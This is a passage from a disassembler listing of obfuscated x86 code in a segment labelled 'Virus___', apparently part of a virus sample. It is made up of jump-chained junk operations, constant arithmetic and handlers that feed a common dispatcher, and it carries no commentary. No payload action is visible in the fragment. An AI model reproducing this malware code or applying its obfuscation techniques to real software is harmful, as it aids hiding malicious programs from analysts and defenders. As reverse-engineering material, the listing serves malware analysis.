		push	[esp-14h+arg_E+2]
		mov	edx, [esp-10h+arg_A+2]
		push	ebp
		jmp	loc_54DA9D
; ---------------------------------------------------------------------------


loc_54CE5F:				; CODE XREF: sub_545A2B+29CAj
		add	eax, 4
		add	eax, 4
		jmp	loc_54C737
; ---------------------------------------------------------------------------


loc_54CE6C:				; CODE XREF: sub_545A2B+3BE7j
		xchg	edx, [esp-1Eh+arg_1A]
		mov	esp, [esp-1Eh+arg_1A]
		jmp	loc_54BD34
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54CE77	proc near		; DATA XREF: Virus___:00542EDCo
		lodsd
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_545E82
sub_54CE77	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CE85:				; CODE XREF: sub_545A2B+756Bj
		xor	edx, edi
		mov	edi, [esp-1Eh+arg_1A]
		jmp	loc_54C532
; ---------------------------------------------------------------------------


loc_54CE8F:				; CODE XREF: sub_545A2B+74Aj
		mov	[esp-1Ah+arg_16], eax
		push	esp
		push	[esp-16h+arg_12]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 29B556ABh
		xor	edi, 76DE246Ah
		dec	edi
		push	0
		sub	[esp-0Ah+arg_4+2], edi
		pop	edi
		inc	edi
		xor	edi, 0A0948D45h
		add	ebp, edi
		pop	edi
		push	eax
		jmp	loc_545D4F
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54CEC0	proc near		; CODE XREF: sub_545A2B+2A4Bj

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00543AFA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054F35F SIZE 00000010 BYTES

		push	ebp
		push	edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	470F4DD4h
		pop	ebp
		sub	ebp, 593D4267h
		shr	ebp, 5
		jmp	loc_543AFA
sub_54CEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CEDC:				; CODE XREF: sub_545A2B+7A93j
		add	bl, 0D9h
		pop	cx
		push	cx
		mov	cl, 52h
		jmp	loc_549FEC
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54317D


loc_54CEEA:				; CODE XREF: sub_54317D+980Bj
		dec	ecx
		add	ecx, 74B2D5Bh
		jmp	loc_543485
; END OF FUNCTION CHUNK	FOR sub_54317D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CEF6:				; CODE XREF: sub_545A2B+2EEDj
		mov	bh, 0B5h
		push	ecx
		jmp	loc_548D00
; ---------------------------------------------------------------------------


loc_54CEFE:				; CODE XREF: sub_545A2B+5E2j
		pop	[esp-18h+arg_12+2]
		pop	esp
		mov	[esp-20h+arg_1A+2], ecx
		mov	ecx, 40000h
		and	eax, ecx
		mov	ecx, [esp-20h+arg_1A+2]
		push	eax
		jmp	loc_5490A4
; ---------------------------------------------------------------------------


loc_54CF15:				; CODE XREF: sub_545A2B+FFAj
		sub	esp, 4
		jmp	loc_545F07
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54CF1D	proc near		; CODE XREF: sub_545A2B+3DE8j
		push	ebx
		mov	bl, 11h
		add	ah, bl
		pop	ebx
		mov	bh, ah
		mov	eax, [esp+0]
		push	ecx
		jmp	loc_547674
sub_54CF1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CF2E:				; CODE XREF: sub_545A2B+93AAj
		mov	[esp-44h+arg_3E+2], esi
		pop	ebx
		jmp	loc_5454E2
; ---------------------------------------------------------------------------


loc_54CF37:				; CODE XREF: sub_545A2B+2754j
		xor	eax, 5FD50073h
		xor	eax, 0FBE1257Bh
		mov	ecx, eax
		pop	eax
		jmp	loc_54C3E4
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54CF49	proc near		; DATA XREF: Virus___:00542E5Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00544732 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00544BD3 SIZE 00000016 BYTES

		mov	cx, [esp+0]
		push	esi
		push	36AEh
		push	esp
		pop	[esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 4
		jmp	loc_544BD3
sub_54CF49	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CF67:				; CODE XREF: sub_545A2B+8120j
		push	[esp-4Ch+arg_4C]
		jmp	loc_54A2A4
; ---------------------------------------------------------------------------


loc_54CF70:				; CODE XREF: sub_545A2B+94F8j
		add	esi, edx
		mov	edx, [esp-48h+arg_42+2]
		sub	esp, 4
		mov	[esp-44h+arg_3E+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_549260
; ---------------------------------------------------------------------------


loc_54CF8E:				; CODE XREF: sub_545A2B+203Ej
		mov	[esp-50h+arg_4C], edi
		mov	edi, 29164FCFh
		jmp	loc_54CE85
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54CF9B:				; DATA XREF: Virus___:00542E04o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CFA9:				; CODE XREF: sub_545A2B-1E16j
		xor	[esp-2Eh+arg_2A], esi
		xor	esi, [esp-2Eh+arg_2A]
		mov	esp, [esp-2Eh+arg_2A]
		mov	fs:[edx], ax
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E80B


loc_54CFBB:				; CODE XREF: sub_54E80B-1614j
		add	edx, ebx
		mov	ebx, [esp-4+arg_0]
		jmp	loc_542FEA
; END OF FUNCTION CHUNK	FOR sub_54E80B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54CFC5:				; CODE XREF: sub_545A2B+1D1Bj
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+16h+var_16]
		xor	[esp+16h+var_16], ebp
		xor	ebp, [esp+16h+var_16]
		pop	esp
		add	esi, 4
		jmp	loc_54DC3C
; ---------------------------------------------------------------------------


loc_54CFE9:				; CODE XREF: sub_545A2B+3Ej
		push	ecx
		push	eax
		mov	al, 32h
		mov	ch, 80h
		xor	ch, al
		jmp	loc_544343
; ---------------------------------------------------------------------------


loc_54CFF6:				; CODE XREF: sub_545A2B+8888j
		push	edx
		push	3FF612E0h
		pop	edx
		xor	edx, 6D373753h
		jmp	loc_544FAD
; ---------------------------------------------------------------------------


loc_54D008:				; CODE XREF: sub_545A2B+2AADj
		shl	edx, 1
		push	edi
		mov	edi, 736AD365h
		sub	edx, edi
		mov	edi, [esp-3Ch+arg_36+2]
		jmp	loc_5460D6
; ---------------------------------------------------------------------------


loc_54D01A:				; CODE XREF: sub_545A2B+8841j
		push	3FBEh
		jmp	loc_54CDEC
; ---------------------------------------------------------------------------


loc_54D024:				; CODE XREF: sub_545A2B+66A6j
		sub	ecx, ebx
		sub	ecx, 2C9B51D0h
		pop	ebx
		mov	eax, ecx
		pop	ecx
		sub	[edi+24h], eax
		mov	eax, [esp-64h+arg_60]
		add	esp, 4


loc_54D039:				; CODE XREF: sub_545A2B+8E26j
		push	62F1h
		mov	[esp-64h+arg_60], ebx
		mov	eax, [esp-64h+arg_60]
		sub	esp, 4
		mov	[esp-60h+arg_5C], edi
		mov	edi, esp
		jmp	loc_54C880
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_54C297
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D05D:				; CODE XREF: sub_545A2B+4059j
		mov	esp, [esp-50h+arg_4C]
		mov	[esp-50h+arg_4C], ecx
		jmp	loc_547271
; ---------------------------------------------------------------------------


loc_54D068:				; CODE XREF: sub_545A2B+65Ej
		add	esp, 4
		push	7731h
		jmp	loc_5497AD
; ---------------------------------------------------------------------------


loc_54D078:				; CODE XREF: sub_545A2B+1BFFj
		add	ebp, 4
		jmp	loc_5465F4
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54DD9C


loc_54D083:				; CODE XREF: sub_54DD9C+Cj
		push	esp
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	edx, 4
		push	ebp
		mov	ebp, 2
		add	edx, 7193465Fh
		add	edx, ebp
		sub	edx, 7193465Fh
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	4C5Eh
		mov	[esp+8+var_8], edx
		push	[esp+8+var_4]
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	ax, [esp-8+arg_4]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_545DEE
; END OF FUNCTION CHUNK	FOR sub_54DD9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D0D8:				; CODE XREF: sub_545A2B-93Fj
		mov	[esp-4Ch+arg_46+2], eax
		jmp	loc_54ACC0
; ---------------------------------------------------------------------------


loc_54D0E0:				; CODE XREF: sub_545A2B+20EEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-40h+arg_3A+2]
		pop	esp
		shl	ebp, 7
		shr	ebp, 1
		sub	ebp, 2016B1Bh
		xor	eax, ebp
		jmp	loc_546FBF
; ---------------------------------------------------------------------------


loc_54D104:				; CODE XREF: sub_545A2B+58B7j
		xchg	esi, [esp-10h+arg_A+2]
		jmp	loc_54DC88
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E622


loc_54D10C:				; CODE XREF: sub_54E622+9j
		mov	bp, 4B20h
		xchg	di, bp
		neg	di
		jmp	loc_54859B
; END OF FUNCTION CHUNK	FOR sub_54E622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543D76


loc_54D11B:				; CODE XREF: sub_543D76+15j
		add	esi, ebx
		pop	ebx
		jmp	loc_54CC4E
; END OF FUNCTION CHUNK	FOR sub_543D76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D123:				; CODE XREF: sub_545A2B+5B6Bj
		add	edx, ebx
		jmp	loc_5491CA
; ---------------------------------------------------------------------------


loc_54D12A:				; CODE XREF: sub_545A2B-154j
		mov	word ptr [esp-1Ch+arg_16+2], cx
		jmp	loc_54C017
; ---------------------------------------------------------------------------


loc_54D133:				; CODE XREF: sub_545A2B+4B31j
		push	[esp-1Eh+arg_1A]
		push	[esp-1Ah+arg_16]
		mov	ecx, [esp-16h+arg_12]
		add	esp, 4
		add	esp, 4
		push	4473h
		mov	[esp-1Ah+arg_16], ecx
		push	6ACFh
		push	esp
		pop	[esp-12h+arg_E]
		jmp	loc_54D9D2
; ---------------------------------------------------------------------------


loc_54D15E:				; CODE XREF: sub_545A2B+37DBj
		test	cl, al
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D166	proc near		; DATA XREF: Virus___:00542EF4o
		mov	cx, [esp+0]
		sub	esp, 4
		jmp	loc_54B4BE
sub_54D166	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D175:				; CODE XREF: sub_545A2B-1B01j
		xchg	edi, [esp-40h+arg_3A+2]
		mov	ecx, [esp-40h+arg_3A+2]
		add	esp, 4
		jmp	loc_546A77
; ---------------------------------------------------------------------------


loc_54D186:				; CODE XREF: sub_545A2B+10CCj
		push	esi
		mov	esi, 4CBAD142h
		add	edi, esi
		pop	esi
		and	edi, 1E700C20h
		push	ebx
		jmp	loc_549931
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5440AE


loc_54D19B:				; CODE XREF: sub_5440AE+21j
		add	edx, eax
		jmp	loc_543AC8
; END OF FUNCTION CHUNK	FOR sub_5440AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D1A2:				; CODE XREF: sub_545A2B+8E32j
		push	edi
		mov	edi, 39C830D9h
		dec	edi
		sub	edi, 0C2E70B64h
		or	edx, edi
		pop	edi
		or	edx, 30A15350h
		jmp	loc_54ADD2
; ---------------------------------------------------------------------------


loc_54D1BD:				; CODE XREF: sub_545A2B+2480j
		push	[esp-44h+arg_42+2]
		jmp	loc_54574E
; ---------------------------------------------------------------------------


loc_54D1C6:				; CODE XREF: sub_545A2B+4787j
		push	[esp-26h+arg_22]
		mov	eax, [esp-22h+arg_1E]
		add	esp, 4
		push	5689h
		mov	[esp-22h+arg_1E], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 0A9C5F2Fh
		push	ecx
		jmp	loc_54BA38
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E80B


loc_54D1EB:				; CODE XREF: sub_54E80B-1AF6j
		pop	ebx
		mov	ebx, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_54CFBB
; END OF FUNCTION CHUNK	FOR sub_54E80B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D1FC:				; CODE XREF: sub_545A2B+339Dj
		pop	esp
		mov	[esp-16h+arg_12], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 33C158BDh
		shl	edi, 8
		shr	edi, 7
		push	62EFh
		mov	[esp-0Eh+arg_A], esi
		mov	esi, 67EB005Dh
		sub	esi, 0B342550h
		jmp	loc_54B04C
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D226	proc near		; CODE XREF: sub_545A2B+1FA5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00543871 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		add	edx, esi
		pop	esi
		add	edx, 4
		jmp	loc_543871
sub_54D226	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D249:				; CODE XREF: sub_545A2B+52CCj
		add	eax, 4
		xchg	eax, [esp-5Ch+arg_58]
		pop	esp
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D257:				; CODE XREF: sub_545A2B+1E33j
		movzx	eax, al
		mov	dx, word ptr [esp-48h+arg_42+2]
		push	62CBh
		jmp	loc_54634C
; ---------------------------------------------------------------------------


loc_54D268:				; CODE XREF: sub_545A2B+488Aj
		mov	ch, bl
		mov	dh, ch
		pop	ecx
		mov	ebx, [esp-1Ah+arg_16]
		add	esp, 4
		or	dh, 23h
		jmp	loc_544979
; ---------------------------------------------------------------------------


loc_54D27B:				; CODE XREF: sub_545A2B+5724j
		mov	esp, [esp-1Ch+arg_16+2]
		mov	[esp-1Ch+arg_16+2], ecx
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D286:				; CODE XREF: sub_545A2B+328Fj
		mov	ecx, edx
		mov	edx, [esp-1Eh+arg_1A]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		add	edi, 17FE2467h
		jmp	loc_548FE5
; ---------------------------------------------------------------------------


loc_54D29C:				; CODE XREF: sub_545A2B+44j
		or	edi, ecx
		pop	ecx
		shr	edi, 3
		push	edx
		mov	edx, 473D247Dh
		add	edi, edx
		pop	edx
		jmp	loc_54F130
; ---------------------------------------------------------------------------


loc_54D2B0:				; CODE XREF: sub_545A2B+3389j
		pop	ecx
		add	edx, 53F243ADh
		sub	edx, eax
		sub	edx, 53F243ADh
		jmp	loc_5446D0
; ---------------------------------------------------------------------------


loc_54D2C4:				; CODE XREF: sub_545A2B+130Dj
		or	ecx, esi
		pop	esi
		sub	ecx, 27197EB0h
		sub	ecx, 4FE62B5Bh
		jmp	loc_54AED0
; ---------------------------------------------------------------------------


loc_54D2D8:				; CODE XREF: sub_545A2B+985Aj
		push	ecx
		push	edx
		mov	edx, 6C3A671Ah
		jmp	loc_543095
; ---------------------------------------------------------------------------


loc_54D2E4:				; CODE XREF: sub_545A2B+5807j
		xor	ebp, 554A3CE1h
		xor	ebp, 65BD64B4h
		jmp	loc_545597
; ---------------------------------------------------------------------------


loc_54D2F5:				; CODE XREF: sub_545A2B-226Cj
		add	edi, 71C700E7h
		push	[esp-16h+arg_12]
		pop	esi
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D30B:				; CODE XREF: Virus___:0054CB41j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		push	5E59h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54C785
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D349:				; CODE XREF: sub_545A2B+4A6Dj
		xor	esi, [esp-44h+arg_3E+2]
		mov	esp, [esp-44h+arg_3E+2]
		or	[esp-44h+arg_3E+2], eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D358:				; CODE XREF: sub_545A2B+3BA2j
		pop	edx
		jmp	sub_54E186
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54D35E:				; CODE XREF: Virus___:0054D6C1j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5496FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D369:				; CODE XREF: sub_545A2B+A04j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D36E:				; CODE XREF: sub_545A2B+3325j
		xor	eax, 25BA86C5h
		mov	ebx, eax
		pop	eax
		jmp	loc_54E8AD
; ---------------------------------------------------------------------------


loc_54D37B:				; CODE XREF: sub_545A2B+713Aj
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp-44h+arg_3E+2]
		xor	[esp-44h+arg_3E+2], ebp
		xor	ebp, [esp-44h+arg_3E+2]
		mov	esp, [esp-44h+arg_3E+2]
		add	ecx, 1
		jmp	loc_548843
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D395	proc near		; DATA XREF: Virus___:00542F10o
		mov	esp, [esp+0]
		jmp	loc_542F67
sub_54D395	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D39D:				; CODE XREF: sub_545A2B+7B7Cj
		push	edx
		jmp	loc_549197
; ---------------------------------------------------------------------------


loc_54D3A3:				; CODE XREF: sub_545A2B-10FBj
		add	ebx, 3142708Fh
		add	ebx, edi
		sub	ebx, 3142708Fh
		add	ebx, 2DB65695h
		mov	ecx, [ebx]
		mov	ebx, [esp-50h+arg_4C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_546925
; ---------------------------------------------------------------------------


loc_54D3D0:				; CODE XREF: sub_545A2B+9352j
		mov	eax, [esp-4Ch+arg_46+2]
		add	esp, 4
		push	ebp
		push	6E462D8Dh
		pop	ebp
		shr	ebp, 5
		add	ebp, 4D79F57h
		jmp	loc_5484E7
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D3EB	proc near		; CODE XREF: sub_545A2B+436Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	$+5
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		pop	edx
		push	ebx
		jmp	loc_54C396
sub_54D3EB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D409:				; CODE XREF: sub_545A2B+43Bj
		push	[esp-12h+arg_12]
		mov	ebp, [esp-0Eh+arg_A]
		add	esp, 4
		pop	[esp-12h+arg_E]
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		not	ebx
		xchg	ebx, ebp
		xor	[esp-16h+arg_12], ebp
		xor	ebp, [esp-16h+arg_12]
		xor	[esp-16h+arg_12], ebp
		pop	eax
		push	638Fh
		jmp	loc_54F444
; ---------------------------------------------------------------------------


loc_54D437:				; CODE XREF: sub_545A2B+6C73j
		mov	ebx, [esp-30h+arg_2A+2]
		add	esp, 4
		sub	esi, ebp
		pop	ebp
		add	esi, eax
		push	edi
		mov	edi, 40C43E6Dh
		jmp	loc_545B79
; ---------------------------------------------------------------------------


loc_54D450:				; CODE XREF: sub_545A2B-24D3j
		xor	ecx, 7326536Bh
		shr	ecx, 3
		push	ebx
		mov	ebx, 7B7A7A7Ch
		jmp	loc_54B373
; ---------------------------------------------------------------------------


loc_54D464:				; CODE XREF: sub_545A2B+84BCj
		push	ecx
		jmp	loc_548817
; ---------------------------------------------------------------------------


loc_54D46A:				; CODE XREF: sub_545A2B+1CB2j
		mov	ebp, 0CB6387Bh
		jmp	loc_54B5BB
; ---------------------------------------------------------------------------


loc_54D474:				; CODE XREF: sub_545A2B+D53j
		pop	esi
		xchg	ecx, [esp-26h+arg_22]
		pop	esp
		add	ebp, 4
		add	ebp, 2
		push	3E83h
		mov	[esp-26h+arg_22], ebp
		push	[esp-26h+arg_26]
		push	[esp-22h+arg_1E]
		jmp	loc_5440D4
; ---------------------------------------------------------------------------


loc_54D499:				; CODE XREF: sub_545A2B+73E9j
		mov	[esp+0], ecx
		push	ebx
		jmp	loc_54C935
; ---------------------------------------------------------------------------


loc_54D4A2:				; CODE XREF: sub_545A2B+4E9Fj
		sub	bh, 91h
		xor	bh, 4Bh
		add	bh, 94h
		mov	cl, bh
		pop	ebx
		push	eax
		mov	al, 0D9h
		sub	bl, al
		mov	eax, [esp-16h+arg_12]
		add	esp, 4
		sub	bl, cl
		jmp	loc_54CEDC
; ---------------------------------------------------------------------------


loc_54D4C3:				; CODE XREF: sub_545A2B+8017j
		pop	eax
		mov	[edi+20h], ebx
		push	[esp-1Eh+arg_1A]
		pop	ebx
		jmp	loc_54DBDD
; ---------------------------------------------------------------------------


loc_54D4D0:				; CODE XREF: sub_545A2B+42E1j
		pop	edi
		add	ebx, 2
		xor	ebx, [esp-1Ah+arg_16]
		xor	[esp-1Ah+arg_16], ebx
		jmp	loc_54446C
; ---------------------------------------------------------------------------


loc_54D4DF:				; CODE XREF: sub_545A2B+55F3j
		sub	ebx, eax
		pop	eax
		jmp	loc_5456B8
; ---------------------------------------------------------------------------


loc_54D4E7:				; CODE XREF: sub_545A2B+501j
		mov	edi, 669F7D03h
		shl	edi, 3
		sub	edi, 2F30996Fh
		jmp	loc_5476B1
; ---------------------------------------------------------------------------


loc_54D4FA:				; CODE XREF: sub_545A2B+11A2j
		add	edi, ebp
		pop	ebp
		jmp	loc_543D03
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_54D502:				; CODE XREF: sub_543A46-28Fj
		sub	ebx, 0D543625Ch
		jmp	loc_5455EE
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D50D:				; CODE XREF: sub_545A2B+349Cj
		pop	ebx
		sub	al, bl
		add	al, 0Bh
		jmp	loc_548066
; ---------------------------------------------------------------------------


loc_54D517:				; CODE XREF: sub_545A2B-C4Fj
		mov	ebx, 49A63278h
		add	ebx, 97AF473h
		and	edi, ebx
		pop	ebx
		add	edi, 686B03CBh
		add	edi, 4493DB6Eh
		add	eax, 1CB035BFh
		add	eax, edi
		jmp	loc_54998D
; ---------------------------------------------------------------------------


loc_54D53D:				; CODE XREF: sub_545A2B+2749j
		add	ecx, 34476D0Ah
		pop	eax
		and	eax, ecx
		push	[esp-48h+arg_42+2]
		pop	ecx
		sub	esp, 4
		mov	[esp-44h+arg_3E+2], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5476C7
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_542FBE


loc_54D55F:				; CODE XREF: sub_542FBE+6BDj
		add	ebx, esi
		add	ebx, 96151A0h
		push	edi
		mov	edi, 4A95D90h
		sub	ebx, edi
		jmp	loc_548B3E
; END OF FUNCTION CHUNK	FOR sub_542FBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D574:				; CODE XREF: sub_545A2B+8984j
		shl	eax, 2
		sub	eax, 0BEDF13F8h
		add	edx, eax
		pop	eax
		add	edx, 4
		xor	edx, [esp-48h+arg_42+2]
		xor	[esp-48h+arg_42+2], edx
		xor	edx, [esp-48h+arg_42+2]
		jmp	loc_54D800
; ---------------------------------------------------------------------------


loc_54D590:				; CODE XREF: sub_545A2B+6F24j
		mov	ecx, ebx
		pop	ebx
		xor	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 0E8173B3h
		jmp	loc_54AE52
; ---------------------------------------------------------------------------


loc_54D5A1:				; CODE XREF: sub_545A2B+7F1Cj
		and	ecx, 0F34DCBh
		jmp	loc_54D39D
; ---------------------------------------------------------------------------


loc_54D5AC:				; CODE XREF: sub_545A2B+5422j
		push	ecx
		mov	ecx, 22BE2742h
		not	ecx
		dec	ecx
		xor	ecx, 38739618h
		jmp	loc_54CD9B
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D5C0	proc near		; CODE XREF: sub_545A2B+291Aj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 3B445F82h
		not	edi
		dec	edi
		inc	edi
		jmp	loc_546AEB
sub_54D5C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D5D8:				; CODE XREF: sub_545A2B+29F8j
		push	[esp-40h+arg_3A+2]
		push	[esp-3Ch+arg_36+2]
		jmp	loc_54A894
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54D5E3:				; DATA XREF: Virus___:00542D2Co
		mov	cx, [esp]
		push	31FDh
		mov	[esp], ebx
		push	esp
		jmp	loc_544935
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D5F5:				; CODE XREF: sub_545A2B+5C1Aj
		push	edx
		jmp	loc_54F27D
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54D5FB:				; DATA XREF: Virus___:00542EFCo
		mov	cx, [esp]
		push	4D60h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	569Ch
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	56630D15h
		mov	edx, [esp]
		jmp	loc_54858E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D62A:				; CODE XREF: sub_545A2B+1A23j
		mov	dl, 81h
		xor	dl, 98h
		or	dl, 0F9h
		shl	dl, 4
		not	dl
		jmp	loc_545F45
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D63C	proc near		; CODE XREF: sub_545A2B+3B3Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00544594 SIZE 00000009 BYTES

		push	ebx
		mov	ebx, 527018C3h
		xor	ebx, 5202FED2h
		xor	edi, ebx
		pop	ebx
		jmp	loc_544594
sub_54D63C	endp


; =============== S U B	R O U T	I N E =======================================



sub_54D650	proc near		; CODE XREF: sub_545A2B+6824j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00543910 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00544DE1 SIZE 0000000E BYTES

		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_544DE1
sub_54D650	endp


; =============== S U B	R O U T	I N E =======================================



sub_54D666	proc near		; DATA XREF: Virus___:00542EA8o
		lodsb
		jmp	loc_54AC22
sub_54D666	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D66C:				; CODE XREF: sub_545A2B+515Bj
		push	[esp-32h+arg_2E]
		jmp	loc_549A28
; ---------------------------------------------------------------------------


loc_54D674:				; CODE XREF: sub_545A2B-269Dj
		add	ebp, 1FC2189Ch
		push	edi
		push	esi
		mov	esi, 0AC77708h
		xor	esi, 6AF460B9h
		mov	edi, esi
		pop	esi
		jmp	loc_54AE3C
